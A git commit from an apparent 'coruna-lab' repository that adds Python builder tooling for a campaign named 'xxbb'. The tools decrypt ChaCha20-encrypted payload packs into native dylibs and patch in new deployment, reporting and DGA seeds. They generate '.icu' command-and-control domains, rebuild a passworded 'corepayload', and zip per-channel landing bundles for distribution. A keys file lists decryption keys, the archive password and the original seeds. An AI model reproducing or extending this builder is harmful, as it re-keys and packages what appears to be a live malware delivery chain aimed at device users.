root/coruna-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat: xxbb

Browse Source
This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
Download Patch File Download Diff File Expand all files Collapse all files
channel-builder-new/tools/_weifile_discover.py
+114
View File
@@ -0,0 +1,114 @@
"""Discover type-0x01 secondary stems/keys from helper + primary type-0x07."""
from __future__ import annotations
import hashlib
import re
import struct
from pathlib import Path
from _secondary_pack import F00D_MAGIC, chacha_crypt, decrypt_secondary_minjs, unwrap_xz
NAME_RE = re.compile(rb"([0-9a-f]{40}\.min\.js)")
DEFAULT_HELPER_STEM = "7a7d99099b035b2c6512b6ebeeea6df1ede70fbb"
def parse_f00d_entries(data: bytes) -> list[dict]:
magic, count = struct.unpack_from("<II", data, 0)
if magic != F00D_MAGIC:
raise ValueError("not F00DBEEF")
if not 1 <= count <= 16:
raise ValueError(f"unexpected F00DBEEF entry count {count}")
entries = []
for i in range(count):
typ, flags, offset, size = struct.unpack_from("<4I", data, 8 + i * 16)
payload = data[offset : offset + size]
if len(payload) != size:
raise ValueError("truncated F00DBEEF payload")
entries.append(
{
"type": (typ >> 16) & 0xFFFF,
"type_raw": typ,
"flags": flags,
"offset": offset,
"size": size,
"payload": payload,
}
)
return entries
def parse_07_slots(payload: bytes) -> list[dict]:
"""type-0x07 records: 32-byte ChaCha key immediately before `{40hex}.min.js`."""
slots = []
for match in NAME_RE.finditer(payload):
name = match.group(1).decode("ascii")
start = match.start()
if start < 32:
continue
key = payload[start - 32 : start]
slots.append({"stem": name[:-7], "file": name, "key": key.hex()})
return slots
def decrypt_pack(blob: bytes, key: bytes) -> bytes:
return unwrap_xz(chacha_crypt(blob, key))
def discover_secondary_stems(
weifile: Path,
helper_key: bytes,
helper_stem: str = DEFAULT_HELPER_STEM,
) -> dict[str, dict]:
"""Return stem -> {key, size, sha256} for every type-0x01 pointed at by primaries."""
helper_path = weifile / f"{helper_stem}.min.js"
if not helper_path.is_file():
raise FileNotFoundError(f"missing helper pack: {helper_path}")
helper_plain = decrypt_pack(helper_path.read_bytes(), helper_key)
primary_slots = []
for entry in parse_f00d_entries(helper_plain):
if entry["type"] == 7:
primary_slots.extend(parse_07_slots(entry["payload"]))
if not primary_slots:
raise ValueError("helper type-0x07 had no primary slots")
stems: dict[str, dict] = {}
for slot in primary_slots:
primary_path = weifile / slot["file"]
if not primary_path.is_file():
raise FileNotFoundError(f"missing primary pack: {primary_path}")
primary_plain = decrypt_pack(primary_path.read_bytes(), bytes.fromhex(slot["key"]))
for entry in parse_f00d_entries(primary_plain):
if entry["type"] != 7:
continue
for secondary in parse_07_slots(entry["payload"]):
stem = secondary["stem"]
path = weifile / secondary["file"]
if not path.is_file():
raise FileNotFoundError(f"missing secondary pack: {path}")
dylib = decrypt_secondary_minjs(path.read_bytes(), bytes.fromhex(secondary["key"]))
digest = hashlib.sha256(dylib).hexdigest()
prev = stems.get(stem)
if prev and prev["key"] != secondary["key"]:
raise ValueError(f"conflicting keys for {stem}")
stems[stem] = {
"key": secondary["key"],
"size": len(dylib),
"sha256": digest,
"dylib": dylib,
}
if not stems:
raise ValueError("no type-0x01 secondaries discovered")
return stems
def group_by_dylib_hash(stems: dict[str, dict]) -> dict[str, bytes]:
"""Unique plaintext dylibs keyed by sha256."""
groups: dict[str, bytes] = {}
for info in stems.values():
digest = info["sha256"]
if digest not in groups:
groups[digest] = info["dylib"]
elif groups[digest] != info["dylib"]:
raise ValueError(f"dylib hash collision for {digest}")
return groups
channel-builder-new/tools/build.py
+117 -117
View File
@@ -1,14 +1,18 @@
#!/usr/bin/env python3
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
"""Patch xxbb secondary packs + corepayload `c`, apply shared details + staged weifile.
Artifact layout (shared, not per-channel folders):
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
`c` is a shared DGA seed (env XXBB_CHANNEL_C), not a per-channel id.
Artifact layout:
{artifact-root}/details/ served landing /details/
{state-root}/out/weifile/ staged weifile (not published; pack_channel.py zips it)
Seed resolution (same idea as channel-builder/tools/new_project.py):
1. both --deployment-seed and --reporting-seed
2. else {state-root}/lab_seeds.json
3. else random generate + write lab_seeds.json
Channel `c`: --channel-c, else --random-c, else lab_seeds.json, else random.
"""
from __future__ import annotations
@@ -24,6 +28,7 @@ from pathlib import Path
from _details_pack import extract_member, make_passworded_7z
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
from _weifile_discover import DEFAULT_HELPER_STEM, discover_secondary_stems
from reproduce_xxbb_dga import generate_domains
TOOLS = Path(__file__).resolve().parent
@@ -36,12 +41,13 @@ SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
RESULT_MARKER = "CORUNA_BUILD_RESULT "
LAB_SEEDS_NAME = "lab_seeds.json"
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
WEIFILE_ROOT = "weifile"
DETAILS_ROOT = "details"
LANDING_NAME = "weifile.html"
CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__"
CHANNEL_CODE_RE = re.compile(r"^[A-Za-z0-9]{8}$")
INDEX_CHANNEL_PLACEHOLDER = "CACACACA"
INDEX_IPTJ_HOST_PLACEHOLDER = "[placeholder].icu"
CORE_WIRE_NAME = "corepayload.js"
CORE_MEMBER_NAME = "corepayload.dylib"
SHOW_WIRE_NAME = "show.html"
@@ -83,6 +89,7 @@ RESERVED_CHANNEL_NAMES = frozenset(
"channel",
"out",
"t",
"nb",
"a",
"u",
"uj",
@@ -138,62 +145,6 @@ def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect
return count
# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
HTTPS_CSTRINGS = (
b"https://backup%u.icu",
b"https://%@",
b"https://",
b"https",
)
def http_cstring(https_s: bytes) -> bytes:
if not https_s.startswith(b"https"):
raise SystemExit(f"not an https C-string: {https_s!r}")
return b"http" + https_s[5:]
def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
"""Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
if b"\x00" in old or b"\x00" in new:
raise SystemExit(f"{label}: C-string must not contain NUL")
if len(new) > len(old):
raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
old_c = old + b"\x00"
new_c = new + b"\x00" * (len(old_c) - len(new))
count = 0
start = 0
while True:
index = buf.find(old_c, start)
if index < 0:
break
buf[index : index + len(old_c)] = new_c
count += 1
start = index + len(old_c)
if count != expect:
raise SystemExit(
f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
f"count={count} (want {expect})"
)
return count
def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
if scheme == "https":
for old in HTTPS_CSTRINGS:
if buf.find(old + b"\x00") < 0:
raise SystemExit(f"{label}: missing {old.decode()}\\0")
return
if scheme != "http":
raise SystemExit("--scheme must be http or https")
for old in HTTPS_CSTRINGS:
replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
raise SystemExit(f"{label}: https URL formats still present")
if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
raise SystemExit(f"{label}: http URL formats missing after patch")
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
@@ -204,10 +155,40 @@ def ignore_junk(_dir: str, names: list[str]) -> set[str]:
def load_keys() -> dict:
"""Discover type-0x01 stems from source/weifile; json only supplies helper key."""
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta.get("stems")
if not isinstance(stems, dict) or not stems:
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
helper_hex = meta.get("helper_key")
if not isinstance(helper_hex, str) or not helper_hex:
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing helper_key")
helper_stem = meta.get("helper_stem") or DEFAULT_HELPER_STEM
try:
discovered = discover_secondary_stems(
SOURCE_WEIFILE, bytes.fromhex(helper_hex), helper_stem
)
except Exception as exc:
raise SystemExit(f"failed to discover secondaries from {SOURCE_WEIFILE}: {exc}") from exc
hash_to_group: dict[str, str] = {}
for path in SOURCE_DYLIBS.glob("group_*.dylib"):
digest = sha256_hex(path.read_bytes())
group = path.name.split("_")[1]
if digest in hash_to_group and hash_to_group[digest] != group:
raise SystemExit(f"dylib hash {digest[:16]}… mapped to both {hash_to_group[digest]} and {group}")
hash_to_group[digest] = group
if not hash_to_group:
raise SystemExit(f"no group_*.dylib under {SOURCE_DYLIBS}")
stems: dict[str, dict] = {}
for stem, info in discovered.items():
group = hash_to_group.get(info["sha256"])
if not group:
raise SystemExit(
f"{stem}: plaintext sha256 {info['sha256'][:16]}… has no matching source/dylibs group"
)
stems[stem] = {"key": info["key"], "group": group}
if not stems:
raise SystemExit("discovered zero type-0x01 secondaries")
meta["stems"] = stems
return meta
@@ -225,13 +206,11 @@ def patch_dylib(
reporting_seed: str,
channel_c: str,
label: str,
scheme: str = "https",
) -> bytes:
buf = bytearray(data)
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
patch_url_scheme(buf, scheme=scheme, label=label)
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
@@ -306,11 +285,28 @@ def build_details(
}
def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None:
text = html_path.read_text(encoding="utf-8")
if CHANNEL_HTML_PLACEHOLDER not in text:
raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder")
html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8")
def normalize_channel_code(value: str) -> str:
code = (value or "").strip().upper()
if not CHANNEL_CODE_RE.fullmatch(code):
raise SystemExit("--channel-code must be 8 chars of [A-Za-z0-9] (e.g. FAFA9988)")
if code.lower() in RESERVED_CHANNEL_NAMES:
raise SystemExit(f"--channel-code {code!r} is reserved")
return code
def patch_index_js_host(text: str, host: str) -> str:
if INDEX_IPTJ_HOST_PLACEHOLDER not in text:
raise SystemExit(f"index.js: missing iptj host placeholder {INDEX_IPTJ_HOST_PLACEHOLDER}")
if not XXBB_DGA_HOST_RE.fullmatch(host):
raise SystemExit(f"iptj host {host!r} is not an xxbb DGA host")
return text.replace(INDEX_IPTJ_HOST_PLACEHOLDER, host, 1)
def new_channel_c() -> str:
while True:
value = gen_seed()
if value != SEVEN_ZIP_PASSWORD:
return value
def copy_tree(src: Path, dst: Path) -> None:
@@ -319,15 +315,6 @@ def copy_tree(src: Path, dst: Path) -> None:
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
def validate_channel_name(value: str) -> str:
name = (value or "").strip().lower()
if not CHANNEL_NAME_RE.fullmatch(name):
raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
if name in RESERVED_CHANNEL_NAMES:
raise SystemExit(f"--channel-name {name!r} is reserved")
return name
def gen_seed() -> str:
return secrets.token_hex(16)
@@ -419,15 +406,23 @@ def resolve_seeds(
cli_dep: str | None,
cli_rep: str | None,
cli_c: str | None,
random_c: bool = False,
) -> tuple[str, str, str, dict, bool]:
"""Return dep, rep, channel_c, domains, seeds_initialized."""
if bool(cli_dep) ^ bool(cli_rep):
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
if random_c and (cli_c or "").strip():
raise SystemExit("use either --channel-c or --random-c, not both")
existing = load_lab_seeds(lab_seeds_path)
channel_c = (cli_c or "").strip() or (
str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
)
if random_c:
channel_c = new_channel_c()
elif (cli_c or "").strip():
channel_c = cli_c.strip()
elif existing and existing.get("channel_c"):
channel_c = str(existing["channel_c"])
else:
channel_c = new_channel_c()
pack_ascii32("--channel-c", channel_c)
if channel_c == SEVEN_ZIP_PASSWORD:
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
@@ -479,50 +474,45 @@ def default_state_root() -> Path:
def main() -> int:
parser = argparse.ArgumentParser(
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
)
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument(
"--channel-c",
help="native report field c and DGA seed (lab new-builder passes channel_id here)",
help="shared native DGA / report field c (32 hex). From env XXBB_CHANNEL_C or random.",
)
parser.add_argument(
"--channel-name",
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
"--random-c",
action="store_true",
help="generate a new random 32-hex c (rewrites lab_seeds.json channel_c + domains)",
)
parser.add_argument(
"--artifact-root",
type=Path,
default=PROJECT_ROOT / "public",
help="directory that will contain weifile/ and details/",
help="directory that will contain details/ (default: ../public)",
)
parser.add_argument(
"--state-root",
type=Path,
default=None,
help=f"lab_seeds.json + out/ (default: {default_state_root()})",
help=f"lab_seeds.json + out/weifile (default: {default_state_root()})",
)
parser.add_argument(
"--out",
type=Path,
help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
help="intermediate .min.js / dylibs (default: <state-root>/out)",
)
parser.add_argument(
"--apply",
action="store_true",
help="write shared {artifact}/weifile/ and {artifact}/details/",
help="write {artifact}/details/ and {state}/out/weifile/",
)
parser.add_argument(
"--force",
action="store_true",
help="replace existing weifile/ and details/ (default with --apply)",
)
parser.add_argument(
"--scheme",
choices=("http", "https"),
default="https",
help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
help="replace existing details/ and staged weifile (default with --apply)",
)
args = parser.parse_args()
@@ -533,12 +523,9 @@ def main() -> int:
cli_dep=args.deployment_seed,
cli_rep=args.reporting_seed,
cli_c=args.channel_c,
random_c=args.random_c,
)
# Optional legacy flag; shared layout no longer uses per-channel folders.
if args.channel_name:
validate_channel_name(args.channel_name)
meta = load_keys()
stems = meta["stems"]
groups = sorted({info["group"] for info in stems.values()})
@@ -552,7 +539,6 @@ def main() -> int:
reporting_seed=rep,
channel_c=channel_c,
label=path.name,
scheme=args.scheme,
)
patched[group] = data
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
@@ -585,13 +571,15 @@ def main() -> int:
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
)
weifile_path = ""
weifile_path = None
details_path = ""
staged_weifile = ""
iptj_host = ""
if args.apply:
artifact = args.artifact_root.resolve()
dest_weifile = artifact / WEIFILE_ROOT
dest_details = artifact / DETAILS_ROOT
# Shared trees are always replaced on --apply.
dest_weifile = state_root / "out" / WEIFILE_ROOT
if not SOURCE_WEIFILE.is_dir():
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
if not SOURCE_DETAILS.is_dir():
@@ -600,7 +588,6 @@ def main() -> int:
landing = dest_weifile / LANDING_NAME
if not landing.is_file():
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
inject_channel_into_weifile(landing, channel_c)
copy_tree(SOURCE_DETAILS, dest_details)
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
@@ -609,11 +596,24 @@ def main() -> int:
dst = dest_weifile / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
print(f"applied weifile -> {dest_weifile}")
hosts = list(domains.get("deployment") or [])
if not hosts:
raise SystemExit("no DGA domains computed from channel_c")
iptj_host = hosts[0]
index_path = dest_weifile / "index.js"
if not index_path.is_file():
raise SystemExit(f"missing index.js in staged weifile: {dest_weifile}")
index_path.write_text(
patch_index_js_host(index_path.read_text(encoding="utf-8"), iptj_host),
encoding="utf-8",
)
print(f"staged weifile -> {dest_weifile}")
print(f"applied details -> {dest_details}")
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
print(f"index.js iptj host -> {iptj_host}")
details_path = f"/{DETAILS_ROOT}/"
staged_weifile = str(dest_weifile)
print(f"XXBB_CHANNEL_C={channel_c}")
print("deployment domains:")
for i, domain in enumerate(domains.get("deployment") or [], 1):
print(f" {i:03d} {domain}")
@@ -624,10 +624,11 @@ def main() -> int:
result = {
"campaign": "xxbb",
"builder_type": "new",
"channel_name": None,
"weifile_path": weifile_path or None,
"support_path": weifile_path or None,
"weifile_path": weifile_path,
"support_path": None,
"details_path": details_path or None,
"staged_weifile": staged_weifile or None,
"iptj_host": iptj_host or None,
"seeds_initialized": seeds_initialized,
"sync_rebuilt": bool(args.apply),
"domains": domains,
@@ -638,15 +639,14 @@ def main() -> int:
},
"seven_zip_password": SEVEN_ZIP_PASSWORD,
"files": built,
"stem_count": len(built),
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
"details": details_meta,
"scheme": args.scheme,
"notes": [
"secondary + corepayload c patched; domains follow channel_c DGA",
"shared artifact paths: /weifile/weifile.html and /details/",
"index.js iptj URL / channelCode not patched",
"details published to /details/; weifile staged under state-root/out/weifile",
"index.js iptj host is DGA(channel_c)[0]; CACACACA is left for pack_channel.py",
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
f"native DGA/C2 scheme={args.scheme}",
],
}
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
channel-builder-new/tools/delete_channel.py
-2
View File
@@ -20,7 +20,6 @@ def main() -> int:
parser = argparse.ArgumentParser(
description="Shared weifile/details are not deleted per channel (noop)."
)
parser.add_argument("--channel-name", default="", help="ignored (legacy)")
parser.add_argument(
"--artifact-root",
type=Path,
@@ -32,7 +31,6 @@ def main() -> int:
result = {
"status": "skipped",
"reason": "shared_weifile_details",
"channel_name": (args.channel_name or "").strip().lower() or None,
"artifact_root": str(artifact_root),
"removed": False,
"weifile": str(artifact_root / xxbb_build.WEIFILE_ROOT),
channel-builder-new/tools/pack_channel.py
+141
View File
@@ -0,0 +1,141 @@
#!/usr/bin/env python3
"""Pack a per-channel weifile zip from the already-built staged tree.
Does not rebuild natives or details. Requires `tools/build.py --apply` first.
1. Copy staged weifile (storage/app/channel-builder-new/out/weifile)
2. Replace CACACACA in index.js with the 8-char channel id
3. Zip as {artifact-root}/channel-source-new/{CHANNELID}.zip
"""
from __future__ import annotations
import argparse
import json
import tempfile
from pathlib import Path
from zipfile import ZIP_DEFLATED, ZipFile
import build as xxbb_build
RESULT_MARKER = xxbb_build.RESULT_MARKER
INDEX_CHANNEL_PLACEHOLDER = xxbb_build.INDEX_CHANNEL_PLACEHOLDER
WEIFILE_ROOT = xxbb_build.WEIFILE_ROOT
LAB_SEEDS_NAME = xxbb_build.LAB_SEEDS_NAME
def staged_weifile_dir(state_root: Path) -> Path:
return state_root / "out" / WEIFILE_ROOT
def patch_channel_code(text: str, channel_code: str) -> str:
if INDEX_CHANNEL_PLACEHOLDER not in text:
raise SystemExit(
f"index.js: missing {INDEX_CHANNEL_PLACEHOLDER} placeholder; "
"re-run tools/build.py --apply"
)
return text.replace(INDEX_CHANNEL_PLACEHOLDER, channel_code, 1)
def write_zip(weifile_dir: Path, zip_path: Path) -> Path:
zip_path.parent.mkdir(parents=True, exist_ok=True)
if zip_path.exists():
zip_path.unlink()
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
with ZipFile(zip_path, "w", compression=ZIP_DEFLATED) as archive:
for path in sorted(weifile_dir.rglob("*")):
if not path.is_file():
continue
if path.name in skip or path.suffix == ".pyc":
continue
if any(part in skip for part in path.relative_to(weifile_dir).parts):
continue
rel = Path(WEIFILE_ROOT) / path.relative_to(weifile_dir)
archive.write(path, rel.as_posix())
return zip_path
def pack_channel(
*,
channel_code: str,
weifile_src: Path,
zip_out: Path,
) -> dict:
code = xxbb_build.normalize_channel_code(channel_code)
index_src = weifile_src / "index.js"
if not index_src.is_file():
raise SystemExit(
f"staged weifile missing ({index_src}). "
"Run: python tools/build.py --apply"
)
with tempfile.TemporaryDirectory() as tmp:
dest = Path(tmp) / WEIFILE_ROOT
xxbb_build.copy_tree(weifile_src, dest)
index_path = dest / "index.js"
index_path.write_text(
patch_channel_code(index_path.read_text(encoding="utf-8"), code),
encoding="utf-8",
)
write_zip(dest, zip_out)
return {
"campaign": "xxbb",
"builder_type": "new",
"channel_code": code,
"zip_path": str(zip_out),
"weifile_src": str(weifile_src),
}
def main() -> int:
parser = argparse.ArgumentParser(
description="Pack staged weifile into public/channel-source-new/{CHANNELID}.zip"
)
parser.add_argument("--channel-code", required=True, help="8-char channel id (e.g. FAFA9988)")
parser.add_argument(
"--state-root",
type=Path,
default=None,
help=f"builder state (default: {xxbb_build.default_state_root()})",
)
parser.add_argument(
"--weifile-src",
type=Path,
default=None,
help="staged weifile directory (default: <state-root>/out/weifile)",
)
parser.add_argument(
"--zip-out",
type=Path,
required=True,
help="output zip path",
)
args = parser.parse_args()
state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
weifile_src = (args.weifile_src or staged_weifile_dir(state_root)).resolve()
zip_out = args.zip_out.resolve()
result = pack_channel(channel_code=args.channel_code, weifile_src=weifile_src, zip_out=zip_out)
seeds_path = state_root / LAB_SEEDS_NAME
if seeds_path.is_file():
try:
seeds = json.loads(seeds_path.read_text())
if isinstance(seeds, dict):
result["seeds"] = {
"deployment_seed": seeds.get("deployment_seed"),
"reporting_seed": seeds.get("reporting_seed"),
"channel_c": seeds.get("channel_c"),
}
result["domains"] = seeds.get("domains") or {"deployment": [], "reporting": []}
except json.JSONDecodeError:
pass
print(f"packed {result['channel_code']} -> {zip_out}")
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
return 0
if __name__ == "__main__":
raise SystemExit(main())
channel-builder-new/tools/secondary_keys.json
+56 -14
View File
@@ -1,5 +1,7 @@
{
"note": "Per-stem ChaCha20 keys from primary type-0x07 (nonce = 8 zero bytes). Groups A/C are 715760-byte type-0x01 builds; B is the 747936-byte build (3 stems share bytes).",
"note": "Per-stem ChaCha20 keys from FAFA9988 primary type-0x07 (nonce = 8 zero bytes). Groups A/C are 715760-byte type-0x01 builds (different bytes); B is 747936. build.py also rediscovers stems from source/weifile via helper type-0x07.",
"source": "FAFA9988/weifile",
"helper_stem": "7a7d99099b035b2c6512b6ebeeea6df1ede70fbb",
"helper_key": "b38fd1ccd6570d8b3ce8edabd740e60d97e93a44fb27b35f2c54c473a37ce676",
"originals": {
"deployment_seed": "321fb0c812b46265421b5ad9654c2b81",
@@ -8,25 +10,65 @@
"seven_zip_password": "202800cfb1ad3de68e11239dcc26c30b"
},
"stems": {
"800d80e0fa1f2baf9a9e41169ecc88e18042bb17": {
"key": "a1cfc122350d103d50d31c9083b0927f125f0973e4266d49bdf94153e1653b15",
"group": "A"
"1ad1ff474e417d0a07ff1ed70a5f4c9daf3644f6": {
"key": "9622b5532c3308ad21fbc7d76974f791f62c544e7f11e5b42aba18790d33d930",
"group": "A",
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
"size": 715760
},
"3215fc5c0f7e2ccced71057fabe5a55944d87412": {
"key": "30041769ac1061ea04ccc1119f7b778736964232dae0fb8c93aa2d09bcb0962e",
"group": "B"
},
"81b403cc1fe0c47839c4ad07e2d7a18618c07dd4": {
"key": "feeb9b36649003a6f0a4f4e99861f66df545e3a473d486d2d01695a77c801c9f",
"group": "B"
},
"4817ea8063eb4480e915f1a4479c62ec774f52ce": {
"key": "b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2",
"group": "B"
"group": "B",
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
"size": 747936
},
"4612aa650e60e2974a9ec37bbf922c79635b493a": {
"key": "85ab5908ceb1981df3449b52155a5026561c51d6f9f599acc99c5203b14733eb",
"group": "C"
"group": "C",
"sha256": "7ccfbf4450c5c68822989cf9cdf5d68a79b65a0e0047340cb1c28c834a821953",
"size": 715760
},
"4817ea8063eb4480e915f1a4479c62ec774f52ce": {
"key": "b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2",
"group": "B",
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
"size": 747936
},
"667fa543143862135ab6b41740421a4752799863": {
"key": "04da244132e7096db7a58bd0d683088df7e09b0cf8ddd39af0210b072484c56d",
"group": "A",
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
"size": 715760
},
"800d80e0fa1f2baf9a9e41169ecc88e18042bb17": {
"key": "a1cfc122350d103d50d31c9083b0927f125f0973e4266d49bdf94153e1653b15",
"group": "A",
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
"size": 715760
},
"81b403cc1fe0c47839c4ad07e2d7a18618c07dd4": {
"key": "feeb9b36649003a6f0a4f4e99861f66df545e3a473d486d2d01695a77c801c9f",
"group": "B",
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
"size": 747936
},
"a159973efdd00dd988fec1d707338545d9487b6a": {
"key": "7ae216d3b4ba8b417b1784f2d0e8f10c40377819345f8946974420fdd1fd111f",
"group": "B",
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
"size": 747936
},
"e3b865be8672d1357bdaac817cdab2d1b4458492": {
"key": "00afe7b09f138818df107a742ab76620880e78e8e4de2dba5d570611ccea04cb",
"group": "B",
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
"size": 747936
},
"fb95e427382180860f0b48a8854576ec1a6ce7b1": {
"key": "7fb9b6821d97f71081ccf74df48cc1d303187d5df410b881b031dcbf44d4fa98",
"group": "A",
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
"size": 715760
}
}
}
channel-builder-new/tools/tests/test_build.py
+105 -46
View File
@@ -31,7 +31,6 @@ class XxbbBuildTest(unittest.TestCase):
reporting_seed=rep,
channel_c=channel_c,
label=path.name,
scheme="https",
)
self.assertEqual(data.count(dep.encode()), 1)
self.assertEqual(data.count(rep.encode()), 1)
@@ -79,27 +78,38 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(xxbb_build.main(), 0)
finally:
sys.argv = old
weifile = artifact / "weifile"
weifile = state / "out" / "weifile"
details = artifact / "details"
self.assertFalse((artifact / "weifile").exists())
self.assertTrue((weifile / "index.js").is_file())
self.assertTrue((weifile / "weifile.html").is_file())
html = (weifile / "weifile.html").read_text(encoding="utf-8")
self.assertIn(channel_c, html)
self.assertNotIn("__CHANNEL_C__", html)
self.assertIn("/t.js", html)
self.assertNotIn("/t.js", html)
self.assertIn("index.js", html)
index_js = (weifile / "index.js").read_text(encoding="utf-8")
expected_host = generate_domains(channel_c, 1)[0]
self.assertIn(expected_host, index_js)
self.assertNotIn("[placeholder].icu", index_js)
self.assertIn("CACACACA", index_js)
self.assertIn("sessionId:sid", index_js)
self.assertIn("__iptj_sid", index_js)
self.assertFalse((artifact / "source").exists())
self.assertTrue((details / "show.html").is_file())
self.assertTrue((details / "corepayload.js").is_file())
self.assertTrue((details / "helion.js").is_file())
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
blob = (weifile / f"{stem}.min.js").read_bytes()
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
dylib = decrypt_secondary_minjs(blob, key)
self.assertIn(b"11111111111111111111111111111111", dylib)
self.assertIn(channel_c.encode(), dylib)
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
self.assertIn(b"https://%@\x00", dylib)
self.assertNotIn(b"http://%@\x00", dylib)
meta = xxbb_build.load_keys()
self.assertGreaterEqual(len(meta["stems"]), 10)
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", meta["stems"])
for stem, info in meta["stems"].items():
blob = (weifile / f"{stem}.min.js").read_bytes()
dylib = decrypt_secondary_minjs(blob, bytes.fromhex(info["key"]))
self.assertIn(b"11111111111111111111111111111111", dylib, stem)
self.assertIn(channel_c.encode(), dylib, stem)
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib, stem)
self.assertIn(b"https://%@\x00", dylib, stem)
self.assertNotIn(b"http://%@\x00", dylib, stem)
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), dylib, stem)
member, core = extract_member((details / "corepayload.js").read_bytes())
self.assertEqual(member, "corepayload.dylib")
@@ -120,8 +130,10 @@ class XxbbBuildTest(unittest.TestCase):
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
manifest = json.loads((out / "MANIFEST.json").read_text())
self.assertEqual(manifest["weifile_path"], "/weifile/weifile.html")
self.assertIsNone(manifest["weifile_path"])
self.assertEqual(manifest["details_path"], "/details/")
